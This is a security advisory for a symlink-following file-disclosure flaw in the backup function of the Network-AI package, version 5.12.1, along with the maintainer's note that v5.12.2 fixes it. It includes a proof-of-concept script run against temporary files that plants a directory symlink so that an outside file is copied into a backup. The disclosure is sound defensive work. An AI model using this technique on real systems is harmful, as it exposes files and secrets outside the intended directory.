CVE-2026-58414

Description

### Summary `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1. ### Details `backup()` collects file paths and copies them into the backup directory: ```ts const files = this._collectBackupFiles(envDir); for (const rel of files) { const src = join(envDir, rel); const dst = join(backupPath, rel); mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true }); try { copyFileSync(src, dst); } catch { /* skip unreadable */ } } ``` `_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`: ```ts const info = statSync(full); if (info.isDirectory()) { walk(full, rel); } else { results.push(rel); } ``` Default CLI reachability exists through `network-ai env backup create --env <env>`. `backup()` also runs automatically before promotion and restore operations. Affected source evidence: - `lib/env-manager.ts:435-460` — backup copy logic. - `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`. - `bin/cli.ts:413-420` — default CLI exposes backup creation. - `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore. ### PoC This PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const data = path.join(base, 'data'); const outside = path.join(base, 'outside'); fs.mkdirSync(outside, { recursive: true }); fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink'); const mgr = new EnvironmentManager(data, { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir'); const result = mgr.backup('dev'); const copied = path.join(result.path, 'linked-outside', 'secret.txt'); console.log(JSON.stringify({ copied: fs.existsSync(copied), content: fs.readFileSync(copied, 'utf8'), }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result: `copied` is `true` and `content` is `secret-through-symlink`. ### Impact An attacker who can place a symlink in `data/<env>` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/<env>/.backups/<backupId>/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.